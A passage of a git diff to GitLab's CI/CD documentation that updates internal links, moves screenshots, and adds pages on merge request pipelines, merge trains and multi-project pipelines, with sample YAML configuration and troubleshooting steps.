tab. This tab displays an expanded configuration where: -- Configuration imported with [`include`](../yaml/README.md#include) is copied into the view. -- Jobs that use [`extends`](../yaml/README.md#extends) display with the - [extended configuration merged into the job](../yaml/README.md#merge-details). -- YAML anchors are [replaced with the linked configuration](../yaml/README.md#anchors). +- Configuration imported with [`include`](../yaml/index.md#include) is copied into the view. +- Jobs that use [`extends`](../yaml/index.md#extends) display with the + [extended configuration merged into the job](../yaml/index.md#merge-details). +- YAML anchors are [replaced with the linked configuration](../yaml/index.md#anchors). ## Commit changes to CI configuration diff --git a/doc/ci/pipelines/img/coverage_check_approval_rule_14_1.png b/doc/ci/pipelines/img/coverage_check_approval_rule_14_1.png Binary files differnew file mode 100644 index 00000000000..00eb5c84ca9 --- /dev/null +++ b/doc/ci/pipelines/img/coverage_check_approval_rule_14_1.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_cancel_v12_0.png b/doc/ci/pipelines/img/merge_train_cancel_v12_0.png Binary files differindex d7720ac1143..d7720ac1143 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_cancel_v12_0.png +++ b/doc/ci/pipelines/img/merge_train_cancel_v12_0.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_failure.png b/doc/ci/pipelines/img/merge_train_failure.png Binary files differindex 8a795fff432..8a795fff432 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_failure.png +++ b/doc/ci/pipelines/img/merge_train_failure.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_immediate_merge_v12_6.png b/doc/ci/pipelines/img/merge_train_immediate_merge_v12_6.png Binary files differindex 7b903716a3d..7b903716a3d 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_immediate_merge_v12_6.png +++ b/doc/ci/pipelines/img/merge_train_immediate_merge_v12_6.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_position_v12_0.png b/doc/ci/pipelines/img/merge_train_position_v12_0.png Binary files differindex ec4b157d428..ec4b157d428 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_position_v12_0.png +++ b/doc/ci/pipelines/img/merge_train_position_v12_0.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_v12_0.png b/doc/ci/pipelines/img/merge_train_start_v12_0.png Binary files differindex a4d0c8cf0e6..a4d0c8cf0e6 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_v12_0.png +++ b/doc/ci/pipelines/img/merge_train_start_v12_0.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_when_pipeline_succeeds_v12_0.png b/doc/ci/pipelines/img/merge_train_start_when_pipeline_succeeds_v12_0.png Binary files differindex 45762b8e85e..45762b8e85e 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_when_pipeline_succeeds_v12_0.png +++ b/doc/ci/pipelines/img/merge_train_start_when_pipeline_succeeds_v12_0.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png b/doc/ci/pipelines/img/merged_result_pipeline.png Binary files differindex 2584cd4d38d..2584cd4d38d 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png +++ b/doc/ci/pipelines/img/merged_result_pipeline.png diff --git a/doc/ci/img/multi_pipeline_mini_graph.gif b/doc/ci/pipelines/img/multi_pipeline_mini_graph.gif Binary files differindex de49ba5aa12..de49ba5aa12 100644 --- a/doc/ci/img/multi_pipeline_mini_graph.gif +++ b/doc/ci/pipelines/img/multi_pipeline_mini_graph.gif diff --git a/doc/ci/img/multi_project_pipeline_graph.png b/doc/ci/pipelines/img/multi_project_pipeline_graph.png Binary files differindex 723a455cb4a..723a455cb4a 100644 --- a/doc/ci/img/multi_project_pipeline_graph.png +++ b/doc/ci/pipelines/img/multi_project_pipeline_graph.png diff --git a/doc/ci/img/parent_pipeline_graph_expanded_v12_6.png b/doc/ci/pipelines/img/parent_pipeline_graph_expanded_v12_6.png Binary files differindex db18cc201fc..db18cc201fc 100644 --- a/doc/ci/img/parent_pipeline_graph_expanded_v12_6.png +++ b/doc/ci/pipelines/img/parent_pipeline_graph_expanded_v12_6.png diff --git a/doc/ci/merge_request_pipelines/img/pipeline-fork_v13_7.png b/doc/ci/pipelines/img/pipeline-fork_v13_7.png Binary files differindex eb44290aa66..eb44290aa66 100644 --- a/doc/ci/merge_request_pipelines/img/pipeline-fork_v13_7.png +++ b/doc/ci/pipelines/img/pipeline-fork_v13_7.png diff --git a/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png Binary files differindex e73845b39b0..ff6b3af0a28 100644 --- a/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png +++ b/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png diff --git a/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png Binary files differindex 1ce77881bc4..b0923ab96d9 100644 --- a/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png +++ b/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png diff --git a/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png Binary files differindex 41840108441..ae7cdc5b43e 100644 --- a/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png +++ b/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png diff --git a/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png Binary files differindex d7d8f3c63d2..b3b98313350 100644 --- a/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png +++ b/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index af6b9e5b6b3..4f818d658b7 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -20,7 +20,7 @@ Pipelines comprise: - Jobs, which define *what* to do. For example, jobs that compile or test code. - Stages, which define *when* to run the jobs. For example, stages that run tests after stages that compile the code. -Jobs are executed by [runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel, +Jobs are executed by [runners](../runners/index.md). Multiple jobs in the same stage are executed in parallel, if there are enough concurrent runners. If *all* jobs in a stage succeed, the pipeline moves on to the next stage. @@ -38,7 +38,7 @@ A typical pipeline might consist of four stages, executed in the following order - A `production` stage, with a job called `deploy-to-prod`. NOTE: -If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), +If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository), you may need to enable pipeline triggering in your project's **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. @@ -50,16 +50,16 @@ Pipelines can be configured in many different ways: followed by the next stage. - [Directed Acyclic Graph Pipeline (DAG) pipelines](../directed_acyclic_graph/index.md) are based on relationships between jobs and can run more quickly than basic pipelines. -- [Multi-project pipelines](../multi_project_pipelines.md) combine pipelines for different projects together. -- [Parent-Child pipelines](../parent_child_pipelines.md) break down complex pipelines +- [Multi-project pipelines](multi_project_pipelines.md) combine pipelines for different projects together. +- [Parent-Child pipelines](parent_child_pipelines.md) break down complex pipelines into one parent pipeline that can trigger multiple child sub-pipelines, which all run in the same project and with the same SHA. -- [Pipelines for Merge Requests](../merge_request_pipelines/index.md) run for merge +- [Pipelines for Merge Requests](../pipelines/merge_request_pipelines.md) run for merge requests only (rather than for every commit). -- [Pipelines for Merged Results](../merge_request_pipelines/pipelines_for_merged_results/index.md) +- [Pipelines for Merged Results](../pipelines/pipelines_for_merged_results.md) are merge request pipelines that act as though the changes from the source branch have already been merged into the target branch. -- [Merge Trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) +- [Merge Trains](../pipelines/merge_trains.md) use pipelines for merged results to queue merges one after the other. ## Configure a pipeline @@ -67,15 +67,15 @@ Pipelines can be configured in many different ways: Pipelines and their component jobs and stages are defined in the CI/CD pipeline configuration file for each project. - [Jobs](../jobs/index.md) are the basic configuration component. -- Stages are defined by using the [`stages`](../yaml/README.md#stages) keyword. +- Stages are defined by using the [`stages`](../yaml/index.md#stages) keyword. -For a list of configuration options in the CI pipeline file, see the [GitLab CI/CD Pipeline Configuration Reference](../yaml/README.md). +For a list of configuration options in the CI pipeline file, see the [GitLab CI/CD Pipeline Configuration Reference](../yaml/index.md). You can also configure specific aspects of your pipelines through the GitLab UI. For example: - [Pipeline settings](settings.md) for each project. - [Pipeline schedules](schedules.md). -- [Custom CI/CD variables](../variables/README.md#custom-cicd-variables). +- [Custom CI/CD variables](../variables/index.md#custom-cicd-variables). ### Ref Specs for Runners @@ -89,13 +89,13 @@ This table lists the refspecs injected for each pipeline type: |--------------- |---------------------------------------- | | Pipeline for Branches | `+<sha>:refs/pipelines/<id>` and `+refs/heads/<name>:refs/remotes/origin/<name>` | | pipeline for Tags | `+<sha>:refs/pipelines/<id>` and `+refs/tags/<name>:refs/tags/<name>` | -| [Pipeline for Merge Requests](../merge_request_pipelines/index.md) | `+<sha>:refs/pipelines/<id>` | +| [Pipeline for Merge Requests](../pipelines/merge_request_pipelines.md) | `+<sha>:refs/pipelines/<id>` | The refs `refs/heads/<name>` and `refs/tags/<name>` exist in your project repository. GitLab generates the special ref `refs/pipelines/<id>` during a running pipeline job. This ref can be created even after the associated branch or tag has been deleted. It's therefore useful in some features such as [automatically stopping an environment](../environments/index.md#stopping-an-environment), -and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) +and [merge trains](../pipelines/merge_trains.md) that might run pipelines after branch deletion. ### View pipelines @@ -125,7 +125,7 @@ you can filter the pipeline list by: ### Run a pipeline manually -Pipelines can be manually executed, with predefined or manually-specified [variables](../variables/README.md). +Pipelines can be manually executed, with predefined or manually-specified [variables](../variables/index.md). You might do this if the results of a pipeline (for example, a code build) are required outside the normal operation of the pipeline. @@ -136,7 +136,7 @@ To execute a pipeline manually: 1. Select the **Run pipeline** button. 1. On the **Run pipeline** page: 1. Select the branch or tag to run the pipeline for in the **Run for branch name or tag** field. - 1. Enter any [environment variables](../variables/README.md) required for the pipeline run. + 1. Enter any [environment variables](../variables/index.md) required for the pipeline run. You can set specific variables to have their [values prefilled in the form](#prefill-variables-in-manual-pipelines). 1. Click the **Run pipeline** button. @@ -146,9 +146,9 @@ The pipeline now executes the jobs as configured. > [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. -You can use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) +You can use the [`value` and `description`](../yaml/index.md#prefill-variables-in-manual-pipelines) keywords to define -[pipeline-level (global) variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) +[pipeline-level (global) variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) that are prefilled when running a pipeline manually. In pipelines triggered manually, the **Run pipelines** page displays all top-level variables @@ -200,7 +200,7 @@ For each `var` or `file_var`, a key and value are required. ### Add manual interaction to your pipeline -Manual actions, configured using the [`when:manual`](../yaml/README.md#whenmanual) keyword, +Manual actions, configured using the [`when:manual`](../yaml/index.md#whenmanual) keyword, allow you to require manual interaction before moving forward in the pipeline. You can do this straight from the pipeline graph. Just click the play button @@ -222,7 +222,7 @@ to an updated status. This functionality is only available: -- For users with at least Developer access. +- For users with at least the Developer role. - If the stage contains [manual actions](#add-manual-interaction-to-your-pipeline). ### Delete a pipeline @@ -301,7 +301,7 @@ A strict security model is enforced when pipelines are executed on [protected branches](../../user/project/protected_branches.md). The following actions are allowed on protected branches only if the user is -[allowed to merge or push](../../user/project/protected_branches.md#using-the-allowed-to-merge-and-allowed-to-push-settings) +[allowed to merge or push](../../user/project/protected_branches.md) on that specific branch: - Run manual pipelines (using the [Web UI](#run-a-pipeline-manually) or [pipelines API](#pipelines-api)). @@ -347,9 +347,9 @@ You can group the jobs by:  - [Job dependencies](#view-job-dependencies-in-the-pipeline-graph), which arranges - jobs based on their [`needs`](../yaml/README.md#needs) dependencies. + jobs based on their [`needs`](../yaml/index.md#needs) dependencies. -[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization) help +[Multi-project pipeline graphs](multi_project_pipelines.md#multi-project-pipeline-visualization) help you visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)** ### View job dependencies in the pipeline graph @@ -365,7 +365,7 @@ This in-development feature might not be available for your use. There can be [risks when enabling features still in development](../../user/feature_flags.md#risks-when-enabling-features-still-in-development). Refer to this feature's version history for more details. -You can arrange jobs in the pipeline graph based on their [`needs`](../yaml/README.md#needs) +You can arrange jobs in the pipeline graph based on their [`needs`](../yaml/index.md#needs) dependencies. Jobs in the leftmost column run first, and jobs that depend on them are grouped in the next columns. @@ -441,5 +441,5 @@ GitLab provides API endpoints to: - Perform basic functions. For more information, see [Pipelines API](../../api/pipelines.md). - Maintain pipeline schedules. For more information, see [Pipeline schedules API](../../api/pipeline_schedules.md). - Trigger pipeline runs. For more information, see: - - [Triggering pipelines through the API](../triggers/README.md). + - [Triggering pipelines through the API](../triggers/index.md). - [Pipeline triggers API](../../api/pipeline_triggers.md). diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index 0bb7007e7a9..b9a42c76293 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -48,7 +48,7 @@ is used. If you run two types of pipelines (like branch and scheduled) for the same ref, the pipeline that finishes later creates the job artifact. -For more examples, view the [keyword reference for the `.gitlab-ci.yml` file](../yaml/README.md#artifacts). +For more examples, view the [keyword reference for the `.gitlab-ci.yml` file](../yaml/index.md#artifacts). ## Download job artifacts @@ -112,7 +112,7 @@ the artifact. ## How searching for job artifacts works In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201784) and later, artifacts -for [parent and child pipelines](../parent_child_pipelines.md) are searched in hierarchical +for [parent and child pipelines](parent_child_pipelines.md) are searched in hierarchical order from parent to child. For example, if both parent and child pipelines have a job with the same name, the job artifact from the parent pipeline is returned. @@ -173,7 +173,7 @@ https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/file/htmlcov/index.ht ## When job artifacts are deleted -See the [`expire_in`](../yaml/README.md#artifactsexpire_in) documentation for information on when +See the [`expire_in`](../yaml/index.md#artifactsexpire_in) documentation for information on when job artifacts are deleted. ### Keep artifacts from most recent successful jobs @@ -203,5 +203,5 @@ This message is often preceded by other errors or warnings that specify the file generated. Check the job log for these messages. If you find no helpful messages, retry the failed job after activating -[CI/CD debug logging](../variables/README.md#debug-logging). +[CI/CD debug logging](../variables/index.md#debug-logging). This logging should provide information to help you investigate further. diff --git a/doc/ci/pipelines/merge_request_pipelines.md b/doc/ci/pipelines/merge_request_pipelines.md new file mode 100644 index 00000000000..29c12551f12 --- /dev/null +++ b/doc/ci/pipelines/merge_request_pipelines.md @@ -0,0 +1,215 @@ +--- +stage: Verify +group: Pipeline Execution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference, index +last_update: 2019-07-03 +--- + +# Pipelines for merge requests **(FREE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/15310) in GitLab 11.6. + +In a [basic configuration](pipeline_architectures.md#basic-pipelines), GitLab runs a pipeline each time +changes are pushed to a branch. + +If you want the pipeline to run jobs **only** on commits associated with a merge request, +you can use *pipelines for merge requests*. + +In the UI, these pipelines are labeled as `detached`. Otherwise, these pipelines are the same +as other pipelines. + +Pipelines for merge requests can run when you: + +- Create a new merge request. +- Commit changes to the source branch for the merge request. +- Select the **Run pipeline** button from the **Pipelines** tab in the merge request. + +If you use this feature with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md), +pipelines for merge requests take precedence over other pipelines. + +## Prerequisites + +To enable pipelines for merge requests: + +- Your repository must be a GitLab repository, not an + [external repository](../ci_cd_for_external_repos/index.md). +- You must have the Developer [role](../../user/permissions.md) + to run a pipeline for merge requests. + +## Configure pipelines for merge requests + +To configure pipelines for merge requests, you must configure your [CI/CD configuration file](../yaml/index.md). +To do this, you can use [`rules`](#use-rules-to-run-pipelines-for-merge-requests) or [`only/except`](#use-only-or-except-to-run-pipelines-for-merge-requests). + +### Use `rules` to run pipelines for merge requests + +GitLab recommends that you use the `rules` keyword, which is available in +[`workflow:rules` templates](../yaml/index.md#workflowrules-templates). + +### Use `only` or `except` to run pipelines for merge requests + +You can use the `only/except` keywords. However, with this method, you must specify `only: - merge_requests` for each job. + +In the following example, the pipeline contains a `test` job that is configured to run on merge requests. +The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword, +so they don't run on merge requests. + +```yaml +build: + stage: build + script: ./build + only: + - main + +test: + stage: test + script: ./test + only: + - merge_requests + +deploy: + stage: deploy + script: ./deploy + only: + - main +``` + +#### Exclude specific jobs + +When you use `only: [merge_requests]`, only jobs with +that keyword are run in the context of a merge request. No other jobs run. + +However, you can invert this behavior and have all of your jobs run except +for one or two. For example, you might have a pipeline with jobs `A`, `B`, and `C`, and you want: + +- All pipelines to always run `A` and `B`. +- `C` to run only for merge requests. + +To achieve this outcome, configure your `.gitlab-ci.yml` file as follows: + +```yaml +.only-default: &only-default + only: + - main + - merge_requests + - tags + +A: + <<: *only-default + script: + - ... + +B: + <<: *only-default + script: + - ... + +C: + script: + - ... + only: + - merge_requests +``` + +- `A` and `B` always run, because they get the `only:` rule to execute in all cases. +- `C` only runs for merge requests. It doesn't run for any pipeline + except a merge request pipeline. + +In this example, you don't have to add the `only:` rule to all of your jobs to make +them always run. You can use this format to set up a Review App, which helps to +save resources. + +#### Exclude specific branches + +Branch refs use this format: `refs/heads/my-feature-branch`. +Merge request refs use this format: `refs/merge-requests/:iid/head`. + +Because of this difference, the following configuration does not work as expected: + +```yaml +# Does not exclude a branch named "docs-my-fix"! +test: + only: [merge_requests] + except: [/^docs-/] +``` + +Instead, use the +[`$CI_COMMIT_REF_NAME` predefined environment +variable](../variables/predefined_variables.md) in +combination with +[`only:variables`](../yaml/index.md#onlyvariables--exceptvariables) to +accomplish this behavior: + +```yaml +test: + only: [merge_requests] + except: + variables: + - $CI_COMMIT_REF_NAME =~ /^docs-/ +``` + +## Run pipelines in the parent project for merge requests from a forked project **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217451) in GitLab 13.3. +> - [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9. + +By default, external contributors who work in forks can't create pipelines in the +parent project. When a merge request that comes from a fork triggers a pipeline: + +- The pipeline is created and runs in the fork (source) project, not the parent (target) project. +- The pipeline uses the fork project's CI/CD configuration and resources. + +If a pipeline runs in a fork, a **fork** badge appears for the pipeline in the merge request. + + + +Sometimes parent project members want the pipeline to run in the parent +project. They may want to ensure that the post-merge pipeline passes in the parent project. +For example, a fork project could try to use a corrupted runner that doesn't execute +test scripts properly, but reports a passed pipeline. Reviewers in the parent project +could mistakenly trust the merge request because it passed a faked pipeline. + +Parent project members with at least the [Developer role](../../user/permissions.md) +can create pipelines in the parent project for merge requests +from a forked project. In the merge request, go to the **Pipelines** tab and select +**Run pipeline**. + +WARNING: +Fork merge requests can contain malicious code that tries to steal secrets in the +parent project when the pipeline runs, even before merge. As a reviewer, you must carefully +check the changes in the merge request before triggering the pipeline. GitLab shows +a warning that you must accept before you can trigger the pipeline. + +## Predefined variables available for pipelines for merge requests + +When you use pipelines for merge requests, [additional predefined variables](../variables/predefined_variables.md#predefined-variables-for-merge-request-pipelines) are available to the CI/CD jobs. +These variables contain information from the associated merge request, so that you can +integrate your job with the [GitLab Merge Request API](../../api/merge_requests.md). + +## Troubleshooting + +### Two pipelines created when pushing to a merge request + +If you are experiencing duplicated pipelines when using `rules`, take a look at +the [important differences between `rules` and `only`/`except`](../jobs/job_control.md#avoid-duplicate-pipelines), +which helps you get your starting configuration correct. + +If you are seeing two pipelines when using `only/except`, please see the caveats +related to using `only/except` above (or, consider moving to `rules`). + +In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) and later, +you can add `workflow:rules` to [switch from branch pipelines to merge request pipelines](../yaml/index.md#switch-between-branch-pipelines-and-merge-request-pipelines). +After a merge request is open on the branch, the pipeline switches to a merge request pipeline. + +### Two pipelines created when pushing an invalid CI configuration file + +Pushing to a branch with an invalid CI configuration file can trigger +the creation of two types of failed pipelines. One pipeline is a failed merge request +pipeline, and the other is a failed branch pipeline, but both are caused by the same +invalid configuration. + +## Related topics + +- [Pipelines for merged results](pipelines_for_merged_results.md). +- [Merge trains](merge_trains.md). diff --git a/doc/ci/pipelines/merge_trains.md b/doc/ci/pipelines/merge_trains.md new file mode 100644 index 00000000000..3e6ad071d7e --- /dev/null +++ b/doc/ci/pipelines/merge_trains.md @@ -0,0 +1,236 @@ +--- +stage: Verify +group: Pipeline Execution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +last_update: 2019-07-03 +--- + +# Merge Trains **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9186) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.0. +> - [Squash and merge](../../user/project/merge_requests/squash_and_merge.md) support [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13001) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.6. + +For more information about why you might want to use Merge Trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). + +When [pipelines for merged results](pipelines_for_merged_results.md) are +enabled, the pipeline jobs run as if the changes from your source branch have already +been merged into the target branch. + +However, the target branch may be changing rapidly. When you're ready to merge, +if you haven't run the pipeline in a while, the target branch may have already changed. +Merging now could introduce breaking changes. + +*Merge trains* can prevent this from happening. A merge train is a queued list of merge +requests, each waiting to be merged into the target branch. + +Many merge requests can be added to the train. Each merge request runs its own merged results pipeline, +which includes the changes from all of the other merge requests in *front* of it on the train. +All the pipelines run in parallel, to save time. + +If the pipeline for a merge request fails, the breaking changes are not merged, and the target +branch is unaffected. The merge request is removed from the train, and all pipelines behind it restart. + +If the pipeline for the merge request at the front of the train completes successfully, +the changes are merged into the target branch, and the other pipelines continue to +run. + +To add a merge request to a merge train, you need [permissions](../../user/permissions.md) to push to the target branch. + +Each merge train can run a maximum of **twenty** pipelines in parallel. +If more than twenty merge requests are added to the merge train, the merge requests +are queued until a slot in the merge train is free. There is no limit to the +number of merge requests that can be queued. + +## Merge train example + +Three merge requests (`A`, `B` and `C`) are added to a merge train in order, which +creates three merged results pipelines that run in parallel: + +1. The first pipeline runs on the changes from `A` combined with the target branch. +1. The second pipeline runs on the changes from `A` and `B` combined with the target branch. +1. The third pipeline runs on the changes from `A`, `B`, and `C` combined with the target branch. + +If the pipeline for `B` fails, it is removed from the train. The pipeline for +`C` restarts with the `A` and `C` changes, but without the `B` changes. + +If `A` then completes successfully, it merges into the target branch, and `C` continues +to run. If more merge requests are added to the train, they now include the `A` +changes that are included in the target branch, and the `C` changes that are from +the merge request already in the train. + +Read more about [how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +Watch this video for a demonstration on [how parallel execution +of Merge Trains can prevent commits from breaking the default +branch](https://www.youtube.com/watch?v=D4qCqXgZkHQ). + +## Prerequisites + +To enable merge trains: + +- You must have the [Maintainer role](../../user/permissions.md). +- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. +- In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later. +- Your repository must be a GitLab repository, not an + [external repository](../ci_cd_for_external_repos/index.md). + +## Enable merge trains + +To enable merge trains for your project: + +1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly. +1. [Configure your CI/CD configuration file](merge_request_pipelines.md#configure-pipelines-for-merge-requests) + so that the pipeline or individual jobs run for merge requests. +1. Visit your project's **Settings > General** and expand **Merge requests**. +1. In the **Merge method** section, verify that **Merge commit** is selected. + You cannot use **Merge commit with semi-linear history** or **Fast-forward merge** with merge trains. +1. In the **Merge options** section, select **Enable merged results pipelines.** (if not already selected) and **Enable merge trains.** +1. Click **Save changes** + +In GitLab 13.5 and earlier, there is only one checkbox, named +**Enable merge trains and pipelines for merged results**. + +WARNING: +If you select the check box but don't configure your CI/CD to use +pipelines for merge requests, your merge requests may become stuck in an +unresolved state or your pipelines may be dropped. + +## Start a merge train + +To start a merge train: + +1. Visit a merge request. +1. Click the **Start merge train** button. + + + +Other merge requests can now be added to the train. + +## Add a merge request to a merge train + +To add a merge request to a merge train: + +1. Visit a merge request. +1. Click the **Add to merge train** button. + +If pipelines are already running for the merge request, you cannot add the merge request +to the train. Instead, you can schedule to add the merge request to a merge train **when the latest +pipeline succeeds**. + + + +## Remove a merge request from a merge train + +1. Visit a merge request. +1. Click the **Remove from merge train** button. + + + +If you want to add the merge request to a merge train again later, you can. + +## View a merge request's current position on the merge train + +After a merge request has been added to the merge train, the merge request's +current position is displayed under the pipeline widget: + + + +## Immediately merge a merge request with a merge train + +If you have a high-priority merge request (for example, a critical patch) that must +be merged urgently, you can bypass the merge train by using the **Merge Immediately** option. +This is the fastest option to get the change merged into the target branch. + + + +WARNING: +Each time you merge a merge request immediately, the current merge train +is recreated and all pipelines restart. + +## Troubleshooting + +### Merge request dropped from the merge train immediately + +If a merge request is not mergeable (for example, it's a draft merge request, there is a merge +conflict, etc.), your merge request is dropped from the merge train automatically. + +In these cases, the reason for dropping the merge request is in the **system notes**. + +To check the reason: + +1. Open the merge request that was dropped from the merge train. +1. Open the **Discussion** tab. +1. Find a system note that includes either: + - The text **... removed this merge request from the merge train because ...** + - **... aborted this merge request from the merge train because ...** + The reason is given in the text after the **because ...** phrase. + + + +### Merge When Pipeline Succeeds cannot be chosen + +[Merge When Pipeline Succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md) +is currently unavailable when Merge Trains are enabled. + +See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/12267) +for more information. + +### Merge Train Pipeline cannot be retried + +When a pipeline for merge trains fails the merge request is dropped from the train and the pipeline can't be retried. +Pipelines for merge trains run on the merged result of the changes in the merge request and +the changes from other merge requests already on the train. If the merge request is dropped from the train, +the merged result is out of date and the pipeline can't be retried. + +Instead, you should [add the merge request to the train](#add-a-merge-request-to-a-merge-train) +again, which triggers a new pipeline. + +### Unable to add to merge train with message "The pipeline for this merge request failed." + +Sometimes the **Start/Add to Merge Train** button is not available and the merge request says, +"The pipeline for this merge request failed. Please retry the job or push a new commit to fix the failure." + +This issue occurs when [**Pipelines must succeed**](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) +is enabled in **Settings > General > Merge requests**. This option requires that you +run a new successful pipeline before you can re-add a merge request to a merge train. + +Merge trains ensure that each pipeline has succeeded before a merge happens, so +you can clear the **Pipelines must succeed** check box and keep +**Enable merge trains and pipelines for merged results** (merge trains) enabled. + +If you want to keep the **Pipelines must succeed** option enabled along with Merge +Trains, create a new pipeline for merged results when this error occurs: + +1. Go to the **Pipelines** tab and click **Run pipeline**. +1. Click **Start/Add to merge train when pipeline succeeds**. + +See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135) +for more information. + +### Merge Trains feature flag **(PREMIUM SELF)** + +In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/244831), +you can [enable or disable merge trains in the project settings](#enable-merge-trains). + +In GitLab 13.5 and earlier, merge trains are automatically enabled when +[pipelines for merged results](pipelines_for_merged_results.md) are enabled. +To use pipelines for merged results without using merge trains, you can enable a +[feature flag](../../user/feature_flags.md) that blocks the merge trains feature. + +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable the feature flag to disable merge trains: + +```ruby +Feature.enable(:disable_merge_trains) +``` + +After you enable this feature flag, all existing merge trains are cancelled and +the **Start/Add to Merge Train** button no longer appears in merge requests. + +To disable the feature flag, and enable merge trains again: + +```ruby +Feature.disable(:disable_merge_trains) +``` diff --git a/doc/ci/pipelines/multi_project_pipelines.md b/doc/ci/pipelines/multi_project_pipelines.md new file mode 100644 index 00000000000..e3fe0fd20f5 --- /dev/null +++ b/doc/ci/pipelines/multi_project_pipelines.md @@ -0,0 +1,329 @@ +--- +stage: Verify +group: Pipeline Authoring +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Multi-project pipelines **(FREE)** + +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. + +You can set up [GitLab CI/CD](../index.md) across multiple projects, so that a pipeline +in one project can trigger a pipeline in another project. You can visualize the entire pipeline +in one place, including all cross-project interdependencies. + +For example, you might deploy your web application from three different projects in GitLab. 